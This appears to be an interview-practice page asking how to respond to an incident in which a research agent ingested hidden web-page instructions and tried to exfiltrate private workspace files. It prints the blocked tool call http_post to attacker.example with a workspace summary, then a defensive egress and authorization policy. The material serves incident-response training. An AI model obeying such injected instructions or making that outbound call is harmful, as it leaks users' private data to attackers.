Interview question
Respond to an indirect prompt-injection and data-exfiltration incident
Runs containment and recovery for an agent that ingested malicious instructions from retrieved content and attempted an unauthorized outbound tool call.
TL;DR
Runs containment and recovery for an agent that ingested malicious instructions from retrieved content and attempted an unauthorized outbound tool call.
Incident triage, tool containment, evidence preservation, authorization boundaries, data exposure assessment, eradication, and regression testing.
Practice the problem like a real interview: restate, reason, implement, and test.
An internal research agent retrieved a web page containing hidden instructions to summarize private workspace files and send them to an attacker-controlled URL. The outbound request was blocked by an egress policy, but traces show the model attempted the tool call. Produce the first-hour response, exposure assessment, root-cause investigation, permanent controls, and proof that recovery is safe.
Move to the linked follow-up, next path step, prerequisite, or deeper variant.
Move forward in the planned practice sequence.
Retrieved chunk origin: external web
Tool proposal: http_post(url="https://attacker.example", body=<workspace summary>)
Application result: denied_by_egress_policy
Unknown: whether sensitive content appeared in provider requests, traces, memory, or cached intermediate state.
tool_policy:
http_post:
enabled: false # containment
approved_connectors:
enabled: true
destinations:
- id: ticketing-api
operations: [create_comment]
data_classes: [support_summary]
authorization:
derive_actor_and_tenant_server_side: true
require_human_approval_for_external_write: true
content_controls:
deny_secrets_and_private_workspace_text: true
max_payload_bytes: 8192
audit:
record_source_provenance: true
record_policy_decision: true
capture_payload_content: false
The response effort scales with affected runs, connected data stores, and credential reach. A versioned run inventory and short-lived scoped credentials sharply reduce the search and rotation scope.
Aporeon is shaped by Aleksandar Tomovski, a software developer with experience on both sides of technical interviews. Content is reviewed for accuracy, natural spoken delivery, useful depth, and honest trade-offs.
Help improve the interview library.
Say thanks with a standalone, one-time $5 contribution. No account required.